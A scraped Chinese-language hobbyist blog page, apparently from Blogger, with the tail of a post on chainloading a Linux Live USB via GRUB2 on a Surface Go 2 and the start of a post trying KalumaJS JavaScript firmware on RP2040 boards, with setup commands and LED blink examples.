<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9QFdD2Ay7lShc71-AjnGH3OsS6Y9IXlaxa83W0h_1DUWgFAufYy-2UH-6rccZGAus_fx2jeMOzJ8_Tc81x9PwGcMepYYktxdYsWESUTkqBARc_t6frjGwMN3LUKodGbWLx1YOuSH7QHVTFLK6voRT77Ww07FvEmVlje2YbQygT-P3VUBqZn8TrIP_Eoo/w0/linux-on-surface-go-077.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9QFdD2Ay7lShc71-AjnGH3OsS6Y9IXlaxa83W0h_1DUWgFAufYy-2UH-6rccZGAus_fx2jeMOzJ8_Tc81x9PwGcMepYYktxdYsWESUTkqBARc_t6frjGwMN3LUKodGbWLx1YOuSH7QHVTFLK6voRT77Ww07FvEmVlje2YbQygT-P3VUBqZn8TrIP_Eoo/w600/linux-on-surface-go-077.png"/></a></div>
<p>從 Windows評估版(虛擬機) 製作的 Windows起動裝置 能夠在 真實的電子裝置中使用</p>
<p>雖然 Microsoft 提供 Windows評估版 ,但並不是能無限制地使用</p>
<a name="使用GRUB2載入其他起動裝置"></a><h5 class="mra-h5">使用 GRUB2 載入其他起動裝置</h5>
<p>由於需要依靠 Windows 以修復方式 載入 USB起動裝置,如果每次安裝 Linux 都要先載入 Windows ,便非常麻煩</p>
<p>大部分 Linux Live Boot 都是使用 GRUB2 ,而 GRUB2 能夠將 起動程序 交給 其他起動器<br/>
因此實際上能夠在 GRUB2 選單中以手動方式載入其他 Linux Live Boot USB</p>
<p>在下嘗試連接 Linux Live Boot USB 後, GRUB2 指令操作模式輸入:</p>
<pre class="brush:bash"># 列出所有分區,例如: (hd0) (hd0,gpt1) (hd0,gpt2) (hd0,gpt3) (hd1,gpt1) (hd1,gpt2) (hd1,gpt3)
ls
# 假設 (hd0) 是 USB裝置, (hd0,gpt1) 是 Linux Live Boot USB 的起動分區
# 設定需要載入的分區
set root=(hd0,gpt1)
# 載入 Linux Live Boot USB 的 GRUB2
configfile /boot/grub/grub.cfg
# 路徑有時是 /boot/grub2/grub.cfg</pre>
<p>結果成功</p>
<p>因此在下修改 GRUB2 的設定檔,令 GRUB2 起動時可以選擇載入 Linux Live Boot USB<br/>
但 GRUB2 不建議直接修改 grub.cfg 檔案,因此需要修改 <span class="mra-highlighter">/etc/grub.d/40_custom</span> 關於自訂 GRUB2 起動選項的設定檔<br/>
在 Terminal 輸入:</p>
<pre class="brush:bash">sudo nano "/etc/grub.d/40_custom"</pre>
<p>(不一定使用 nano ,任何文字編輯器即可)</p>
<p>在 40_custom 最後加入以下內容:</p>
<pre class="brush:bash">menuentry "Chainload other GRUB2" {
insmod chain
set root=(hd0,gpt1)
if [ -f /boot/grub/grub.cfg ]; then
configfile /boot/grub/grub.cfg
elif [ -f /boot/grub2/grub.cfg ]; then
configfile /boot/grub2/grub.cfg
else
echo "Cannot chainload other GRUB2."
fi
}</pre>
<p>除了修改起動選單,還要修改 <span class="mra-highlighter">/etc/default/grub</span> 的逾時設定值,否則無法停止自動載入預設起動項目<br/>
將 <span class="mra-highlighter">GRUB_TIMEOUT_STYLE=hidden</span> 取消 (修改成 <span class="mra-highlighter">#GRUB_TIMEOUT_STYLE=hidden</span> 即可)<br/>
及將 <span class="mra-highlighter">GRUB_TIMEOUT=0</span> 修改成 <span class="mra-highlighter">GRUB_TIMEOUT=10</span> (10秒足夠停止自動載入,有需要可以調整數值)</p>
<p>儲存內容後,並執行:</p>
<pre class="brush:bash">sudo update-grub2</pre>
<p>更新 grub.cfg ,當重新開機載入到 GRUB2 起動選單時,便會顯示 Chainload other GRUB2 的選項,可以載入其他 Linux Live Boot USB</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>安裝完 Windows 後,未安裝 Linux Mint 前,在下在 Windows 平台記綠一些資料作簡單比較</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzBUX-YOf0RY80_MD0Xit3w8zttlm4eVXZfxjR3JF8nQuJwKZPcZ3geRhDw-K_uBcZDeidsSvi0j0ikh6Vpzh7S3ASre5EH6EAvIFPPXKIbmgHwOuf4_m5Dw2s3VL7xjX-9FfgwM4zIc8JuS5xSdSqgZuPf3P-IZKuwTJcvFfLKWyKLLZ_oNUeMlwAkkI/w0/linux-on-surface-go-2-055.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzBUX-YOf0RY80_MD0Xit3w8zttlm4eVXZfxjR3JF8nQuJwKZPcZ3geRhDw-K_uBcZDeidsSvi0j0ikh6Vpzh7S3ASre5EH6EAvIFPPXKIbmgHwOuf4_m5Dw2s3VL7xjX-9FfgwM4zIc8JuS5xSdSqgZuPf3P-IZKuwTJcvFfLKWyKLLZ_oNUeMlwAkkI/w600/linux-on-surface-go-2-055.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiHWML180pAHeQCvXJj1MLnAyUD6zh-ZQPXD7Q1DPSgNgwYxWaY0TVE3bGm3fN3DdHEX_lQnElh2UiWdkfJxdoQl_9whEUKljlLX7Is5FNSAbrywAZPDPusiN-xBjEcovs1O56v09f1qK-OKAMRgA1V2WPpNT6vCYLQPInND6K8lW5SFVunm1QSnNEDMM/w0/linux-on-surface-go-2-059.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiHWML180pAHeQCvXJj1MLnAyUD6zh-ZQPXD7Q1DPSgNgwYxWaY0TVE3bGm3fN3DdHEX_lQnElh2UiWdkfJxdoQl_9whEUKljlLX7Is5FNSAbrywAZPDPusiN-xBjEcovs1O56v09f1qK-OKAMRgA1V2WPpNT6vCYLQPInND6K8lW5SFVunm1QSnNEDMM/w600/linux-on-surface-go-2-059.png"/></a></div>
<p>Windows 安裝後已經使用了 32.6 GB ,是總使用空間的一半以上,還未安裝常用軟件<br/>
而 Linux Mint 則是 11.9 GB ,並包括常用軟件,只是 Windows 的 三分之一</p>
<p>在下估計因為這個專為 Surface Go 2 設計的 Windows ,因此部分空間會建立成修復分區<br/>
亦因此 Windows 系統分區空間比 Linux Mint 少<br/>
而 Linux Mint 安裝時則自動配置 2 GB 作為 <span class="mra-highlighter">交換空間 (SWAP)</span> 提升讀寫速度</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNDSU8EytYl9TDkYoeIF06tllYGcBJLIr9mRbXlhDw6tKHLQWhdbgXGCF67Lcpd8Np36wJrPmnlSG-BONgiteVdGbBMjCLoaJe1T11jilfr1B5Oz68yHBb_rA3yziVpQmDLu9i0PhEp5hPiShR4DpLr4uIT-FZ1bR7Gj75Ca_GIqCPSzIVmCUYWrnk1I/w0/linux-on-surface-go-2-054.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqNDSU8EytYl9TDkYoeIF06tllYGcBJLIr9mRbXlhDw6tKHLQWhdbgXGCF67Lcpd8Np36wJrPmnlSG-BONgiteVdGbBMjCLoaJe1T11jilfr1B5Oz68yHBb_rA3yziVpQmDLu9i0PhEp5hPiShR4DpLr4uIT-FZ1bR7Gj75Ca_GIqCPSzIVmCUYWrnk1I/w600/linux-on-surface-go-2-054.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY1ZkBcSXK-BaYs6sVVwSchllIlge-cnsZjCtXQp7EKkbcPHOFlPLH_NO_DBzrmTM2klAIHwFBVcrSULbfxxr6Ya5jEwXtq4E4e-ha9B10lWr1aJnlJC5ZzMR4KlKxn0ZvzYbzIZv__5iZQMs8jvGPXj33gi1TzCL5MvuZiWO3QNQOhI4cUbynXpEF3xk/w0/linux-on-surface-go-2-056.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY1ZkBcSXK-BaYs6sVVwSchllIlge-cnsZjCtXQp7EKkbcPHOFlPLH_NO_DBzrmTM2klAIHwFBVcrSULbfxxr6Ya5jEwXtq4E4e-ha9B10lWr1aJnlJC5ZzMR4KlKxn0ZvzYbzIZv__5iZQMs8jvGPXj33gi1TzCL5MvuZiWO3QNQOhI4cUbynXpEF3xk/w600/linux-on-surface-go-2-056.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgRqc2EFIWxg31nSaCAgSHiXl_B9xr8VNEo5wvMh_Y7FnjdmHBXX85jN9pE1cT-YU6BkqVQT0EpKVrsh0ZjwU1rhTJRfVqXxt2Y9JCrtlxvYp-n3heDsOO7_hO_C03GEBrMgGASVVMJZPy6dgSMvA6C4lU65lqfim3yzzNDu9EyotFweMHosjNZliv9pA/w0/linux-on-surface-go-2-057.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgRqc2EFIWxg31nSaCAgSHiXl_B9xr8VNEo5wvMh_Y7FnjdmHBXX85jN9pE1cT-YU6BkqVQT0EpKVrsh0ZjwU1rhTJRfVqXxt2Y9JCrtlxvYp-n3heDsOO7_hO_C03GEBrMgGASVVMJZPy6dgSMvA6C4lU65lqfim3yzzNDu9EyotFweMHosjNZliv9pA/w600/linux-on-surface-go-2-057.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAG_dGNNZq9FRPBxJIlHT7z3XVKMUXh7exaKsWhDcDZ-OBy6ZJM5nM4kABl7YJwddEy4oD3WBUFrA3x4ht1S_b_l0jy6n6JyDl5BykueysebOxDMrgH-9KLJAduWLEO36zQuoape94k6_P7osqqdtD75bUh698hzZw6yE9jDOJPdSB3X8t3I8mgYjWdQM/w0/linux-on-surface-go-2-058.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAG_dGNNZq9FRPBxJIlHT7z3XVKMUXh7exaKsWhDcDZ-OBy6ZJM5nM4kABl7YJwddEy4oD3WBUFrA3x4ht1S_b_l0jy6n6JyDl5BykueysebOxDMrgH-9KLJAduWLEO36zQuoape94k6_P7osqqdtD75bUh698hzZw6yE9jDOJPdSB3X8t3I8mgYjWdQM/w600/linux-on-surface-go-2-058.png"/></a></div>
<p>而資源用量方面, Windows 起動 1分鐘 記憶體用量已使用 62% ,即使超過 10分鐘 平均使用超過 50%<br/>
而 Linux Mint 則平均使用 10% 左右</p>
<p>而 CPU ,在 Windows 起動超過 10分鐘 後則顯得比較平穩,而 Linux Mint 則比較波動</p>
<p>雖然 Linux Mint 效能上比較好,但鏡頭暫時未能夠直接操作<br/>
需要自行安裝鏡頭驅動程式,然而在下沒有足夠時間測試<br/>
另外觸控筆的筆尾無法啟用筆刷功能</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://github.com/linux-surface/linux-surface/wiki/Camera-Support">Camera-Support for Microsoft Surface</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-62963077949158326472023-11-18T14:26:00.002+08:002023-11-18T14:26:29.821+08:00在 RP2040晶片 試用 KalumaJS<p>之前在 Raspberry Pi Pico 之類使用 RP2040晶片 的 開發板上使用 Arduino AVR-C 、 MicroPython 、 CircuitPython<br/>
最近發現還有一種稱為 KalumaJS 可以在 RP2040晶片 上執行<br/>
因此在下嘗試使用,比較其他已經開發成熟的程式碼</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#安裝KalumaJS">安裝 KalumaJS</a></li>
<li><a href="#測試KalumaJS">測試 KalumaJS</a></li>
<li><a href="#編寫KalumaJS程式">編寫 KalumaJS 程式</a></li>
<li><a href="#KalumaJS語法風格">KalumaJS 語法風格</a>
<ul>
<li><a href="#模仿ArduinoAVR-C語法">模仿 Arduino AVR-C 語法</a></li>
<li><a href="#模仿Python語法">模仿 *Python 語法</a></li>
<li><a href="#KalumaJS語法限制">KalumaJS 語法限制</a></li>
</ul>
</li>
<li><a href="#RP2040Matrix">RP2040Matrix</a>
<ul>
<li><a href="#RP2040Matrix外觀">外觀</a></li>
<li><a href="#RP2040Matrix引腳">引腳</a></li>
<li><a href="#RP2040MatrixLED佈局">LED佈局</a></li>
</ul>
</li>
<li><a href="#KalumaJS匯入函式庫">KalumaJS 匯入函式庫</a></li>
<li><a href="#使用MicroREPL">使用 Micro REPL</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="安裝KalumaJS"></a><h4 class="mra-h4">安裝 KalumaJS</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbLCyAC1PUcQ_UwfvYBa_kNt51IlzNbyxLGW8OuTNZ9VbJIG1tQOfufLH0G5h1_GBD0u1Qo53btNjpcFZopjpbf-_Our680FNka8vR4XmfGtp2B6TMRRTNiAduzNMXzhfF6KTZE5dbu-RDepazEkISlFPXRUqXUB-psDkACJ1OWoHlsWJhl7aOrY6yz38/w0/kalumajs-jerryscript-for-rp2040-001.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbLCyAC1PUcQ_UwfvYBa_kNt51IlzNbyxLGW8OuTNZ9VbJIG1tQOfufLH0G5h1_GBD0u1Qo53btNjpcFZopjpbf-_Our680FNka8vR4XmfGtp2B6TMRRTNiAduzNMXzhfF6KTZE5dbu-RDepazEkISlFPXRUqXUB-psDkACJ1OWoHlsWJhl7aOrY6yz38/w600/kalumajs-jerryscript-for-rp2040-001.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnxT1dqueSc5zFS8aXTLn74XZKKOGekN9GkemilgHXNQQ9lV5rK5b6mvjr7wlk-Ahych51EoDJZ9BGfT4knEjzZgaNlemPIcYBrcyKnlQQ1_a5zcWeS2jLG1RkLZBJ7WTGzBhMBkCoZMA92F1pbOhlzHaCg4DOzHtdUxK0b3rvfaGENBCIvlFurngM520/w0/kalumajs-jerryscript-for-rp2040-002.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnxT1dqueSc5zFS8aXTLn74XZKKOGekN9GkemilgHXNQQ9lV5rK5b6mvjr7wlk-Ahych51EoDJZ9BGfT4knEjzZgaNlemPIcYBrcyKnlQQ1_a5zcWeS2jLG1RkLZBJ7WTGzBhMBkCoZMA92F1pbOhlzHaCg4DOzHtdUxK0b3rvfaGENBCIvlFurngM520/w600/kalumajs-jerryscript-for-rp2040-002.png"/></a></div>
<p>KalumaJS 是能夠編寫 JavaScript 在 RP2040晶片 執行的程式<br/>
KalumaJS 的 <span class="mra-highlighter">韌體檔案</span> 可以在 <a href="https://kalumajs.org/">https://kalumajs.org/</a> 下載<br/>
將 韌體檔案 複製到 <span class="mra-highlighter">RPI-RP2</span></p>
<p>或使用指令直接下載 及 安裝</p>
<p>對應 RP2040晶片 的 uf2檔案</p>
<pre class="brush:bash">curl "https://kalumajs.org/download/" | grep '\.uf2' | sed -r 's/.*"(http[^"]+pico-[0-9][^"]+uf2)".*/\1/g'</pre>
<p>對應 Raspberry Pi Pico W 版本 的 uf2檔案</p>
<pre class="brush:bash">curl "https://kalumajs.org/download/" | grep '\.uf2' | sed -r 's/.*"(http[^"]+pico-w-[0-9][^"]+uf2)".*/\1/g'</pre>
<p>可以直接在 RPI-RP2 執行指令,並安裝韌體</p>
<a name="測試KalumaJS"></a><h4 class="mra-h4">測試 KalumaJS</h4>
<p>KalumaJS 官方提供 <span class="mra-highlighter">Kaluma CLI</span> 來編譯及上載 JS檔案 到使用 KalumaJS韌體 的 RP2040晶片<br/>
由於 Kaluma CLI 是 <span class="mra-highlighter">Node.js</span> 其中一種套件,因此如果要使用 Kaluma CLI 還要安裝 Node.js</p>
<p>不過,官方亦在其官方網頁提供 <span class="mra-highlighter">Kaluma CLI IDE</span> ,讓使用者不需要安裝及設定 Node.js 便可以使用編譯及上載<br/>
但 Kaluma CLI IDE 需要使用 <span class="mra-highlighter">Web Serial API</span> 才能編譯及上載,而暫時只有 <span class="mra-highlighter">Chromium base 的網頁瀏覽器</span> 能 Web Serial API<br/>
因此仍然需要安裝 Chromium base 的網頁瀏覽器才能使用 Kaluma CLI IDE ,但比安裝及設定 Node.js 及 Kaluma CLI 簡單</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUwz2uM8gDDpfSlSp9RYypK3lsNGIJIz6aNSWXvibVJBogulIPVb-k10Bq1FIFolBn60vAvDhCBV53QK1yQy0t5Rz0_QcOpxHAM90Scbs6psbAoHjCvHKaevTEGAAr220qVv5rcAdB9fAWWS1AwaDARfuwLcGa49ZOpkmfiJpYurN4zE3uVlI1DhfitNY/w0/kalumajs-jerryscript-for-rp2040-003.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUwz2uM8gDDpfSlSp9RYypK3lsNGIJIz6aNSWXvibVJBogulIPVb-k10Bq1FIFolBn60vAvDhCBV53QK1yQy0t5Rz0_QcOpxHAM90Scbs6psbAoHjCvHKaevTEGAAr220qVv5rcAdB9fAWWS1AwaDARfuwLcGa49ZOpkmfiJpYurN4zE3uVlI1DhfitNY/w600/kalumajs-jerryscript-for-rp2040-003.png"/></a></div>
<p>到 <a href="https://kalumajs.org/ide">https://kalumajs.org/ide</a> 便可以使用 KalumaJS CLI IDE</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd_L0wZbp4aeaA-L1BGFGfQe5Lp7GQqV1gsyw6y7tZ9WFblzf93IXMO5dMEabNOIGS9i25dhLc6rw0jG44tWRVtv2gMW8jU2ZD4LacuiCkWLkNOUdAhRyoyvqzhS-9IjQHwL8Kq9JCOQBeleX3qJCvMPVRfSH2Hr2mpXRcnmdTHkZE_1ysfMsH9vTXwe8/w0/kalumajs-jerryscript-for-rp2040-004.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd_L0wZbp4aeaA-L1BGFGfQe5Lp7GQqV1gsyw6y7tZ9WFblzf93IXMO5dMEabNOIGS9i25dhLc6rw0jG44tWRVtv2gMW8jU2ZD4LacuiCkWLkNOUdAhRyoyvqzhS-9IjQHwL8Kq9JCOQBeleX3qJCvMPVRfSH2Hr2mpXRcnmdTHkZE_1ysfMsH9vTXwe8/w600/kalumajs-jerryscript-for-rp2040-004.png"/></a></div>
<p>按 <span class="mra-highlighter">Connect</span> 後會列出所有 <span class="mra-highlighter">序列裝置(Serial Device)</span> , 選擇 RP2040裝置並連接</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaEcq9aCcL7QAg-s8XUfE-o_Mv434PUznAL-SFOnvYgPFab8cN8KX5FlnIQqWwc3-wGrs48nX9e1UUV5kcZp9SsD9zIhcjcN2dgNunqbngRrM-am-XdQenoQ6XukinZSR8mRAW64dTLFj__8U2fnB1L7w1AKdxxcMP21gXDHB7ATf2HxdNhs_creFzAvI/w0/kalumajs-jerryscript-for-rp2040-005.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaEcq9aCcL7QAg-s8XUfE-o_Mv434PUznAL-SFOnvYgPFab8cN8KX5FlnIQqWwc3-wGrs48nX9e1UUV5kcZp9SsD9zIhcjcN2dgNunqbngRrM-am-XdQenoQ6XukinZSR8mRAW64dTLFj__8U2fnB1L7w1AKdxxcMP21gXDHB7ATf2HxdNhs_creFzAvI/w600/kalumajs-jerryscript-for-rp2040-005.png"/></a></div>
<pre style="background-color: #000000; color: #00FF00; padding: 5px;">>
> .hi
___
_____/ . \ Welcome to Kaluma v1.1.0-beta.4
/ __> https://kaluma.io
|/\________/
\__@ v v Type '.help' for more info.
-----------------------------------------------
> </pre>
<p>在 TERMINAL 會顯示 ASCII 的文字訊息,表示 Kamula CLI IDE 已經連接到 RP2040 並正在運作<br/>
然後可以在 Kamula CLI IDE 的 CODE 中編寫 KamulaJS程式 控制 RP2040</p>
<a name="編寫KalumaJS程式"></a><h4 class="mra-h4">編寫 KalumaJS 程式</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdArODD7tJ4zbxv25tt_DvIIJjz6-8qD18yzufalIP0MFTBP2NV0zItxf7oK5aRRUO3QgPmGpMxOmPfZAZ3T2nIatQBlCGfpKxRJr1DVuW_Bb1WS3RNEum-IEMyR438XQZsBkyT5di7C3APHXFHC5MoN9DWUO0E-F4RQUnsmgEVB1qAJTDVgg59OjHzw8/w0/kalumajs-jerryscript-for-rp2040-006.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdArODD7tJ4zbxv25tt_DvIIJjz6-8qD18yzufalIP0MFTBP2NV0zItxf7oK5aRRUO3QgPmGpMxOmPfZAZ3T2nIatQBlCGfpKxRJr1DVuW_Bb1WS3RNEum-IEMyR438XQZsBkyT5di7C3APHXFHC5MoN9DWUO0E-F4RQUnsmgEVB1qAJTDVgg59OjHzw8/w600/kalumajs-jerryscript-for-rp2040-006.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhovvCHV2PdkZaPhmQykKiqIHbuALgVSuT2hAS2NNw-EuTj30keox6JQtQ-DpIBwztknZ523fPqrohyphenhyphen6WxdSkw0j1FbpPnc4PfEmouC8o6yr3JWA1PB3QUHGwniuFcVuQIgSEgdkhe-VD78Vs9deRLmAPo3TRPauo58TfOMOFwWIJPPPfKcJ_8ICBXN-wM/w0/kalumajs-jerryscript-for-rp2040-007.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhovvCHV2PdkZaPhmQykKiqIHbuALgVSuT2hAS2NNw-EuTj30keox6JQtQ-DpIBwztknZ523fPqrohyphenhyphen6WxdSkw0j1FbpPnc4PfEmouC8o6yr3JWA1PB3QUHGwniuFcVuQIgSEgdkhe-VD78Vs9deRLmAPo3TRPauo58TfOMOFwWIJPPPfKcJ_8ICBXN-wM/w600/kalumajs-jerryscript-for-rp2040-007.png"/></a></div>
<p>KamulaJS 官方提供支援 Raspberry Pi Pico 的閃動範本,可以在 Example > Blink 開啟</p>
<pre class="brush:js">/**
* Example: Blink
* Blinking the on-board LED every 1 second.
*/
const led = 25;
pinMode(led, OUTPUT);
setInterval(() => {
digitalToggle(led);
}, 1000);
</pre>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8yglO_G-Un2FuHNWqYuvnm6_b1V-NxeqIFYQ6QbrIeS2v4rvKIsCyBF29p1U8nQ6-AZnUsRHNzd2OtEcl7QfC1X7CqJRCzfunfHyJmsOhbD0doPQtO2fjJ-zduIyTS-ySuFUStZ76wGY60CrnuWQBmixhdHZ4-_UmL0QLc5xyWlr2t_HPTCscIGFu9QM/w0/kalumajs-jerryscript-for-rp2040-008.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8yglO_G-Un2FuHNWqYuvnm6_b1V-NxeqIFYQ6QbrIeS2v4rvKIsCyBF29p1U8nQ6-AZnUsRHNzd2OtEcl7QfC1X7CqJRCzfunfHyJmsOhbD0doPQtO2fjJ-zduIyTS-ySuFUStZ76wGY60CrnuWQBmixhdHZ4-_UmL0QLc5xyWlr2t_HPTCscIGFu9QM/w600/kalumajs-jerryscript-for-rp2040-008.png"/></a></div>
<p>開啟範本後,按 <span class="mra-highlighter">Flash</span> 便可以上載程式到 RP2040</p>
<pre style="background-color: #000000; color: #00FF00; padding: 5px;">>
> .flash -w
Transfer a file via YMODEM... (press 'a' to abort)
CCCCCCCCCCCCCCC
Done
>
> .load
> </pre>
<p>Kaluma CLI IDE 使用 <span class="mra-highlighter">YModem協議</span> 顯示狀態,在 TERMINAL 會以 C 表示進度或載入狀態<br/>
沒有出錯完成操作程序,不會顯示任何訊息<br/>
操作異常導致進度無法完成不會逾時,需要按 a 手動終止操作<br/>
完成後 RP2040裝置 便會顯示效果</p>
<a name="KalumaJS語法風格"></a><h4 class="mra-h4">KalumaJS 語法風格</h4>
<p>KamulaJS 使用 JerryScript 是一種專為編寫 微控制器 程式的 JavaScript</p>
<a name="模仿ArduinoAVR-C語法"></a><h5 class="mra-h5">模仿 Arduino AVR-C 語法</h5>
<p>語法上使用 Arduino AVR-C 常見的 pinMode 、 digitalWrite 、 delay 等 功能名稱及參數<br/>
並以 JavaScript 的 setInterval 替代 loop 等關鍵功能,容易由 Arduino 的概念理解及學習</p>
<pre class="brush:js">const LED = 25;
pinMode(LED, OUTPUT);
setInterval(() => {
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
delay(1000);
}, 0);</pre>
<p>以 Arduino AVR-C 風格編寫 KalumaJS 程式,執行結果與 KalumaJS 例如相同</p>
<a name="模仿Python語法"></a><h5 class="mra-h5">模仿 *Python 語法</h5>
<p>除了模仿 Arduino AVR-C 語法,還提供類似 MicroPython 及 CircuitPython 的 物件導向 語法存取 GPIO</p>
<pre class="brush:js">const { GPIO } = require("gpio");
const GPIO25 = new GPIO(25, OUTPUT);
setInterval(() => {
GPIO25.write(HIGH);
delay(1000);
GPIO25.write(LOW);
delay(1000);
}, 0);</pre>
<pre class="brush:js">const { LED } = require("led");
const LED = new LED(25);
setInterval(() => {
LED.on();
delay(1000);
LED.off();
delay(1000);
}, 0);</pre>
<p>兩個例子都是相同的結果</p>
<p>雖然有些重覆,但當程式巨大時,以類別方式編寫程式比較容易區分用途<br/>
GPIO類別 可以控制 輸入及輸出, LED類別 只可以控制 輸出</p>
<a name="KalumaJS語法限制"></a><h5 class="mra-h5">KalumaJS 語法限制</h5>
<p>由於 KalumaJS 繼承 JavaScript ,因此具備一些 Arduino AVR-C 沒有的類型,例如:<br/>
boolean 、 null 、 undefined</p>
<pre class="brush:js">const LED = 25;
pinMode(LED, OUTPUT);
setInterval(() => {
digitalWrite(LED, !digitalRead(LED));
}, 1000);</pre>
<p>由於 Arduino AVR-C 實際沒有 boolean 類型,因此 !digitalRead 傳回 0 或 1<br/>
因此在 Arduino 中容許 digitalWrite(LED, !digitalRead(LED)) 這種語法<br/>
但 JavaScript 具有 boolean 類型,因此 !digitalRead 傳回 true 或 false<br/>
不符合 digitalWrite 參數的要求而發生錯誤, TERMINAL 會顯示</p>
<pre style="background-color: #000000; color: #FF0000; padding: 5px;">> TypeError: "value" argument must be a number
at <anonymous>:4</pre>
<a name="RP2040Matrix"></a><h4 class="mra-h4">RP2040 Matrix</h4>
<p>在下除了使用 Raspberry Pi Pico ,亦使用其他 RP2040晶片 開發板測試效果</p>
<a name="RP2040Matrix外觀"></a><h4 class="mra-h4">外觀</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJqo8b2Ni5Hin3ZrG8mkjPAlNSBfQHNV541nwcLIWSf0Xu_HD8Xysko21Tfq1YUEj48KTE_V9_70K-tGpLvXbyc7M8vihyphenhyphen0GBaVjPZjUKRBjUHECLouSA-XQHul7Nzo7H6klD962N6f8uFsSjxIeVvKQwj4vbnE7SO1XF8JVtxdfg_d5YUZQrgh8oyaM8/w0/kalumajs-jerryscript-for-rp2040-009.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJqo8b2Ni5Hin3ZrG8mkjPAlNSBfQHNV541nwcLIWSf0Xu_HD8Xysko21Tfq1YUEj48KTE_V9_70K-tGpLvXbyc7M8vihyphenhyphen0GBaVjPZjUKRBjUHECLouSA-XQHul7Nzo7H6klD962N6f8uFsSjxIeVvKQwj4vbnE7SO1XF8JVtxdfg_d5YUZQrgh8oyaM8/w600/kalumajs-jerryscript-for-rp2040-009.jpg"/></a></div>
<p>RP2040 Matrix 的正面<br/>
體積基本上與 RP2040 Zero 相同,主要是正面焊接了 25粒 RGB LED</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sFeneIQ-PT-xh0vmsChg3myRTsIsGzKkKOd-Oef4GSzwgEtnEO3Spbbnw0V_7rit6CeEFv35TfLFTaEFDxElkw4J884-i3A5oZxS-fEiX7Vml54uURxaJ_0KFfS1FuBKYYiNdwOIJFZ3iSkSxb0UqI-Hd8Aq4tzxRwCX7Eu7bslVcFFW3hZPqNOo5r4/w0/kalumajs-jerryscript-for-rp2040-010.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3sFeneIQ-PT-xh0vmsChg3myRTsIsGzKkKOd-Oef4GSzwgEtnEO3Spbbnw0V_7rit6CeEFv35TfLFTaEFDxElkw4J884-i3A5oZxS-fEiX7Vml54uURxaJ_0KFfS1FuBKYYiNdwOIJFZ3iSkSxb0UqI-Hd8Aq4tzxRwCX7Eu7bslVcFFW3hZPqNOo5r4/w600/kalumajs-jerryscript-for-rp2040-010.jpg"/></a></div>
<p>使用 USB Type-C 插孔</p>
